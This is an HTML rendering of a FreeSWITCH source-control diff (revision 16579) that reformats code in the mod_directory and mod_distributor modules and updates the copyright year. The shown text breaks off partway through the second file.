<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -40,19 +40,16 @@
</span><span class="cx"> static const char *global_cf = &quot;directory.conf&quot;;
</span><span class="cx"> 
</span><span class="cx"> static char dir_sql[] =
</span><del>-&quot;CREATE TABLE directory_search (\n&quot;
-&quot;   hostname         VARCHAR(255),\n&quot;
-&quot;   uuid             VARCHAR(255),\n&quot;
-&quot;   extension        VARCHAR(255),\n&quot;
-&quot;   full_name        VARCHAR(255),\n&quot;
-&quot;   full_name_digit  VARCHAR(255),\n&quot;
-&quot;   first_name       VARCHAR(255),\n&quot;
-&quot;   first_name_digit VARCHAR(255),\n&quot;
-&quot;   last_name        VARCHAR(255),\n&quot;
-&quot;   last_name_digit  VARCHAR(255),\n&quot;
-&quot;   name_visible          INTEGER,\n&quot;
-&quot;   exten_visible         INTEGER\n&quot;
-&quot;);\n&quot;;
</del><ins>+        &quot;CREATE TABLE directory_search (\n&quot;
+        &quot;   hostname         VARCHAR(255),\n&quot;
+        &quot;   uuid             VARCHAR(255),\n&quot;
+        &quot;   extension        VARCHAR(255),\n&quot;
+        &quot;   full_name        VARCHAR(255),\n&quot;
+        &quot;   full_name_digit  VARCHAR(255),\n&quot;
+        &quot;   first_name       VARCHAR(255),\n&quot;
+        &quot;   first_name_digit VARCHAR(255),\n&quot;
+        &quot;   last_name        VARCHAR(255),\n&quot;
+        &quot;   last_name_digit  VARCHAR(255),\n&quot; &quot;   name_visible          INTEGER,\n&quot; &quot;   exten_visible         INTEGER\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> #define DIR_RESULT_ITEM &quot;directory_result_item&quot;
</span><span class="cx"> #define DIR_RESULT_SAY_NAME &quot;directory_result_say_name&quot;
</span><span class="lines">@@ -113,51 +110,52 @@
</span><span class="cx">         PFLAG_DESTROY = 1 &lt;&lt; 0
</span><span class="cx"> } dir_flags_t;
</span><span class="cx"> 
</span><del>-static int digit_matching_keypad(char letter) {
</del><ins>+static int digit_matching_keypad(char letter)
+{
</ins><span class="cx">         int result = -1;
</span><del>-        switch(toupper(letter)) {
-                case 'A':
-                case 'B':
-                case 'C':
-                        result = 2;
-                        break;
-                case 'D':
-                case 'E':
-                case 'F':
-                        result = 3;
-                        break;
-                case 'G':
-                case 'H':
-                case 'I':
-                        result = 4;
-                        break;
-                case 'J':
-                case 'K':
-                case 'L':
-                        result = 5;
-                        break;
-                case 'M':
-                case 'N':
-                case 'O':
-                        result = 6;
-                        break;
-                case 'P':
-                case 'Q':
-                case 'R':
-                case 'S':
-                        result = 7;
-                        break;
-                case 'T':
-                case 'U':
-                case 'V':
-                        result = 8;
-                        break;
-                case 'W':
-                case 'X':
-                case 'Y':
-                case 'Z':
-                        result = 9;
-                        break;
</del><ins>+        switch (toupper(letter)) {
+        case 'A':
+        case 'B':
+        case 'C':
+                result = 2;
+                break;
+        case 'D':
+        case 'E':
+        case 'F':
+                result = 3;
+                break;
+        case 'G':
+        case 'H':
+        case 'I':
+                result = 4;
+                break;
+        case 'J':
+        case 'K':
+        case 'L':
+                result = 5;
+                break;
+        case 'M':
+        case 'N':
+        case 'O':
+                result = 6;
+                break;
+        case 'P':
+        case 'Q':
+        case 'R':
+        case 'S':
+                result = 7;
+                break;
+        case 'T':
+        case 'U':
+        case 'V':
+                result = 8;
+                break;
+        case 'W':
+        case 'X':
+        case 'Y':
+        case 'Z':
+                result = 9;
+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -185,7 +183,7 @@
</span><span class="cx">                 if (*d) {
</span><span class="cx">                         *d = '\0';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">         return dst;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -206,7 +204,7 @@
</span><span class="cx">         status = switch_core_db_persistant_execute(db, sql, 1);
</span><span class="cx">         switch_core_db_close(db);
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -304,7 +302,7 @@
</span><span class="cx">                 switch_core_db_close(db);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -337,34 +335,32 @@
</span><span class="cx"> 
</span><span class="cx">         profile-&gt;config_str_pool.pool = profile-&gt;pool;
</span><span class="cx"> 
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;next-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                        &amp;profile-&gt;next_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;prev-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                        &amp;profile-&gt;prev_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;next-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;next_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;prev-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;prev_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;terminator-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;terminator_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;terminator_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;switch-order-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;switch_order_key, &quot;*&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;switch_order_key, &quot;*&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;select-name-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;select_name_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;select_name_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;new-search-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;new_search_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;new_search_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;search-order&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;search_order, &quot;last_name&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;search_order, &quot;last_name&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;digit-timeout&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;digit_timeout, 3000, &amp;config_int_digit_timeout, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;digit_timeout, 3000, &amp;config_int_digit_timeout, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;min-search-digits&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;min_search_digits, 3, &amp;config_int_ht_0, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;min_search_digits, 3, &amp;config_int_ht_0, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-menu-attempts&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;max_menu_attempt, 3, &amp;config_int_ht_0, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;max_menu_attempt, 3, &amp;config_int_ht_0, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-result&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
</span><del>-                        &amp;profile-&gt;max_result, 5, &amp;config_int_ht_0, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;max_result, 5, &amp;config_int_ht_0, NULL, NULL);
</ins><span class="cx"> 
</span><span class="cx">         return profile;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static dir_profile_t * load_profile(const char *profile_name)
</del><ins>+static dir_profile_t *load_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         dir_profile_t *profile = NULL;
</span><span class="cx">         switch_xml_t x_profiles, x_profile, cfg, xml = NULL;
</span><span class="lines">@@ -413,7 +409,7 @@
</span><span class="cx">                 switch_core_hash_insert(globals.profile_hash, profile-&gt;name, profile);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx"> 
</span><span class="cx">         return profile;
</span><span class="lines">@@ -451,7 +447,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static dir_profile_t * get_profile(const char *profile_name)
</del><ins>+static dir_profile_t *get_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         dir_profile_t *profile = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -469,7 +465,8 @@
</span><span class="cx">         return profile;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t * profile, const char *domain_name) {
</del><ins>+static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t *profile, const char *domain_name)
+{
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">         char *sql = NULL;
</span><span class="lines">@@ -561,8 +558,9 @@
</span><span class="cx">                                         firstNameDigit = string_to_keypad_digit(firstName);
</span><span class="cx"> 
</span><span class="cx">                                         /* add user into DB */
</span><del>-                                        sql = switch_mprintf(&quot;insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')&quot;, 
-                                                        globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit, lastName, lastNameDigit, name_visible, exten_visible);
</del><ins>+                                        sql = switch_mprintf(&quot;insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')&quot;,
+                                                                                 globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit,
+                                                                                 lastName, lastNameDigit, name_visible, exten_visible);
</ins><span class="cx"> 
</span><span class="cx">                                         if (sqlvalues) {
</span><span class="cx">                                                 sqltmp = sqlvalues;
</span><span class="lines">@@ -580,10 +578,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        sql = switch_mprintf(&quot;BEGIN;%s;COMMIT;&quot;,sqlvalues);
</del><ins>+        sql = switch_mprintf(&quot;BEGIN;%s;COMMIT;&quot;, sqlvalues);
</ins><span class="cx">         directory_execute_sql(sql, profile-&gt;mutex);
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx">         switch_safe_free(sqlvalues);
</span><span class="cx">         switch_event_destroy(&amp;xml_params);
</span><span class="lines">@@ -603,27 +601,27 @@
</span><span class="cx"> static switch_status_t on_dtmf(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
</span><span class="cx"> {
</span><span class="cx">         switch (itype) {
</span><del>-                case SWITCH_INPUT_TYPE_DTMF:
-                        {
-                                switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
-                                cbr_t *cbr = (cbr_t *) buf;
-                                cbr-&gt;digit = dtmf-&gt;digit;
-                                if (dtmf-&gt;digit == *cbr-&gt;profile-&gt;terminator_key || dtmf-&gt;digit == *cbr-&gt;profile-&gt;switch_order_key) {
-                                        return SWITCH_STATUS_BREAK;
-                                }
</del><ins>+        case SWITCH_INPUT_TYPE_DTMF:
+                {
+                        switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
+                        cbr_t *cbr = (cbr_t *) buf;
+                        cbr-&gt;digit = dtmf-&gt;digit;
+                        if (dtmf-&gt;digit == *cbr-&gt;profile-&gt;terminator_key || dtmf-&gt;digit == *cbr-&gt;profile-&gt;switch_order_key) {
+                                return SWITCH_STATUS_BREAK;
+                        }
</ins><span class="cx"> 
</span><del>-                                if (strlen(cbr-&gt;digits) &lt; sizeof(cbr-&gt;digits) - 2) {
-                                        int at = strlen(cbr-&gt;digits);
-                                        cbr-&gt;digits[at++] = dtmf-&gt;digit;
-                                        cbr-&gt;digits[at] = '\0';
-                                } else {
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;DTMF buffer is full\n&quot;);
-                                        return SWITCH_STATUS_BREAK;
-                                }
</del><ins>+                        if (strlen(cbr-&gt;digits) &lt; sizeof(cbr-&gt;digits) - 2) {
+                                int at = strlen(cbr-&gt;digits);
+                                cbr-&gt;digits[at++] = dtmf-&gt;digit;
+                                cbr-&gt;digits[at] = '\0';
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;DTMF buffer is full\n&quot;);
+                                return SWITCH_STATUS_BREAK;
</ins><span class="cx">                         }
</span><del>-                        break;
-                default:
-                        break;
</del><ins>+                }
+                break;
+        default:
+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -650,12 +648,12 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (zstr_buf(buf)) {
</span><del>-                switch_snprintf(macro, sizeof(macro), &quot;phrase:%s:%d&quot;, DIR_RESULT_ITEM, cbt-&gt;want+1);
</del><ins>+                switch_snprintf(macro, sizeof(macro), &quot;phrase:%s:%d&quot;, DIR_RESULT_ITEM, cbt-&gt;want + 1);
</ins><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile-&gt;terminator_key);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!zstr_buf(recorded_name) &amp;&amp; zstr_buf(buf)) {
</span><del>-        switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile-&gt;terminator_key);
</del><ins>+                switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile-&gt;terminator_key);
</ins><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx">         if (zstr_buf(recorded_name) &amp;&amp; zstr_buf(buf)) {
</span><span class="lines">@@ -667,7 +665,8 @@
</span><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile-&gt;terminator_key);
</span><span class="cx">         }
</span><span class="cx">         if (zstr_buf(buf)) {
</span><del>-                switch_snprintf(macro, sizeof(macro), &quot;phrase:%s:%c,%c,%c,%c&quot;, DIR_RESULT_MENU, *profile-&gt;select_name_key, *profile-&gt;next_key, *profile-&gt;prev_key, *profile-&gt;new_search_key);
</del><ins>+                switch_snprintf(macro, sizeof(macro), &quot;phrase:%s:%c,%c,%c,%c&quot;, DIR_RESULT_MENU, *profile-&gt;select_name_key, *profile-&gt;next_key, *profile-&gt;prev_key,
+                                                *profile-&gt;new_search_key);
</ins><span class="cx">                 switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), profile-&gt;digit_timeout, profile-&gt;terminator_key);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -688,7 +687,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
</del><ins>+switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
</ins><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         cbr_t cbr;
</span><span class="lines">@@ -707,7 +707,7 @@
</span><span class="cx"> 
</span><span class="cx">                 /* Gather the user Name */
</span><span class="cx"> 
</span><del>-                switch_snprintf(macro, sizeof(macro), &quot;%s:%c&quot;, (params-&gt;search_by_last_name?&quot;last_name&quot;:&quot;first_name&quot;), *profile-&gt;switch_order_key);
</del><ins>+                switch_snprintf(macro, sizeof(macro), &quot;%s:%c&quot;, (params-&gt;search_by_last_name ? &quot;last_name&quot; : &quot;first_name&quot;), *profile-&gt;switch_order_key);
</ins><span class="cx">                 switch_ivr_phrase_macro(session, DIR_INTRO, macro, NULL, &amp;args);
</span><span class="cx"> 
</span><span class="cx">                 while (switch_channel_ready(channel)) {
</span><span class="lines">@@ -737,7 +737,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
</del><ins>+switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         char entry_count[80] = &quot;&quot;;
</span><span class="lines">@@ -749,7 +750,10 @@
</span><span class="cx">         cbt.buf = entry_count;
</span><span class="cx">         cbt.len = sizeof(entry_count);
</span><span class="cx"> 
</span><del>-        sql = switch_mprintf(&quot;select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'&quot;, globals.hostname, switch_core_session_get_uuid(session), (params-&gt;search_by_last_name?&quot;last_name_digit&quot;:&quot;first_name_digit&quot;), params-&gt;digits);
</del><ins>+        sql =
+                switch_mprintf(&quot;select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'&quot;,
+                                           globals.hostname, switch_core_session_get_uuid(session), (params-&gt;search_by_last_name ? &quot;last_name_digit&quot; : &quot;first_name_digit&quot;),
+                                           params-&gt;digits);
</ins><span class="cx"> 
</span><span class="cx">         directory_execute_sql_callback(profile-&gt;mutex, sql, sql2str_callback, &amp;cbt);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="lines">@@ -773,7 +777,10 @@
</span><span class="cx">         memset(&amp;listing_cbt, 0, sizeof(listing_cbt));
</span><span class="cx">         listing_cbt.params = params;
</span><span class="cx"> 
</span><del>-        sql = switch_mprintf(&quot;select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name&quot;, globals.hostname, switch_core_session_get_uuid(session), (params-&gt;search_by_last_name?&quot;last_name_digit&quot;:&quot;first_name_digit&quot;), params-&gt;digits);
</del><ins>+        sql =
+                switch_mprintf
+                (&quot;select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name&quot;,
+                 globals.hostname, switch_core_session_get_uuid(session), (params-&gt;search_by_last_name ? &quot;last_name_digit&quot; : &quot;first_name_digit&quot;), params-&gt;digits);
</ins><span class="cx"> 
</span><span class="cx">         for (cur_entry = 0; cur_entry &lt; result_count; cur_entry++) {
</span><span class="cx">                 listing_cbt.index = 0;
</span><span class="lines">@@ -812,7 +819,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx">         return status;
</span><span class="cx"> 
</span><span class="lines">@@ -825,8 +832,8 @@
</span><span class="cx">         char *argv[6] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         const char *profile_name = NULL;
</span><del>-        const char *domain_name = NULL; 
-        dir_profile_t * profile = NULL;
</del><ins>+        const char *domain_name = NULL;
+        dir_profile_t *profile = NULL;
</ins><span class="cx">         int x = 0;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         search_params_t s_param;
</span><span class="lines">@@ -866,7 +873,7 @@
</span><span class="cx">                 s_param.search_by_last_name = 0;
</span><span class="cx">         }
</span><span class="cx">         attempts = profile-&gt;max_menu_attempt;
</span><del>-        s_param.try_again = 1;        
</del><ins>+        s_param.try_again = 1;
</ins><span class="cx">         while (switch_channel_ready(channel) &amp;&amp; (s_param.try_again &amp;&amp; attempts-- &gt; 0)) {
</span><span class="cx">                 s_param.try_again = 0;
</span><span class="cx">                 gather_name_digit(session, profile, &amp;s_param);
</span><span class="lines">@@ -895,7 +902,7 @@
</span><span class="cx">         sql = switch_mprintf(&quot;delete from directory_search where hostname = '%q' and uuid = '%q'&quot;, globals.hostname, switch_core_session_get_uuid(session));
</span><span class="cx">         directory_execute_sql(sql, profile-&gt;mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        profile_rwunlock(profile);        
</del><ins>+        profile_rwunlock(profile);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_directory_load)
</span><span class="lines">@@ -954,7 +961,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx"> 
</span><del>-        while((hi = switch_hash_first(NULL, globals.profile_hash))) {
</del><ins>+        while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
</ins><span class="cx">                 switch_hash_this(hi, &amp;key, &amp;keylen, &amp;val);
</span><span class="cx">                 profile = (dir_profile_t *) val;
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_distributormod_distributorc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx"> static void destroy_node(struct dist_node *node)
</span><span class="cx"> {
</span><span class="cx">         struct dist_node *old;
</span><del>-        while(node) {
</del><ins>+        while (node) {
</ins><span class="cx">                 old = node;
</span><span class="cx">                 node = node-&gt;next;
</span><span class="cx">                 if (old-&gt;name) {
</span><span class="lines">@@ -78,7 +78,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct dist_list *old;
</span><span class="cx"> 
</span><del>-        while(list) {
</del><ins>+        while (list) {
</ins><span class="cx">                 old = list;
</span><span class="cx">                 list = list-&gt;next;
</span><span class="cx">                 destroy_node(old-&gt;nodes);
</span><span class="lines">@@ -97,14 +97,14 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static int load_config(int reloading) 
</del><ins>+static int load_config(int reloading)
</ins><span class="cx"> {
</span><del>-        struct dist_list *main_list=NULL, *new_list, *old_list=NULL, *lp=NULL;
</del><ins>+        struct dist_list *main_list = NULL, *new_list, *old_list = NULL, *lp = NULL;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *cf = &quot;distributor.conf&quot;;
</span><span class="cx">         switch_xml_t cfg, xml, lists, list, param;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Open of %s failed\n&quot;, cf);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -120,7 +120,7 @@
</span><span class="cx">         for (list = switch_xml_child(lists, &quot;list&quot;); list; list = list-&gt;next) {
</span><span class="cx">                 const char *name = switch_xml_attr(list, &quot;name&quot;);
</span><span class="cx">                 const char *tweight = switch_xml_attr(list, &quot;total-weight&quot;);
</span><del>-                struct dist_node *node, *np=NULL;
</del><ins>+                struct dist_node *node, *np = NULL;
</ins><span class="cx">                 int target_weight = 10;
</span><span class="cx">                 int accum = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -128,30 +128,30 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing NAME!\n&quot;);
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(tweight)) {
</span><span class="cx">                         target_weight = atoi(tweight);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_zmalloc(new_list, sizeof(*new_list));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_list-&gt;name = strdup(name);
</span><span class="cx">                 new_list-&gt;last = -1;
</span><span class="cx">                 new_list-&gt;target_weight = target_weight;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (lp) {
</span><span class="cx">                         lp-&gt;next = new_list;
</span><span class="cx">                 } else {
</span><span class="cx">                         main_list = new_list;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 lp = new_list;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (param = switch_xml_child(list, &quot;node&quot;); param; param = param-&gt;next) {
</span><span class="cx">                         char *name = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                         char *weight_val = (char *) switch_xml_attr_soft(param, &quot;weight&quot;);
</span><span class="cx">                         int weight = 0, tmp;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((tmp = atoi(weight_val)) &lt; 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Weight %d value incorrect, must be &gt; 0\n&quot;, tmp);
</span><span class="cx">                                 continue;
</span><span class="lines">@@ -163,24 +163,26 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (accum + tmp &gt; lp-&gt;target_weight) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Target Weight %d already met, ignoring subsequent entries.\n&quot;, lp-&gt;target_weight);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Target Weight %d already met, ignoring subsequent entries.\n&quot;,
+                                                                  lp-&gt;target_weight);
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         accum += tmp;
</span><span class="cx"> 
</span><span class="cx">                         weight = lp-&gt;target_weight - tmp;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (weight &lt; 0 || weight &gt; lp-&gt;target_weight) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Weight %d value incorrect, must be between 1 and %d\n&quot;, weight, lp-&gt;target_weight);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Weight %d value incorrect, must be between 1 and %d\n&quot;, weight,
+                                                                  lp-&gt;target_weight);
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_zmalloc(node, sizeof(*node));
</span><span class="cx">                         node-&gt;name = strdup(name);
</span><span class="cx">                         node-&gt;weight = node-&gt;cur_weight = weight;
</span><del>-                        
</del><span class="cx"> 
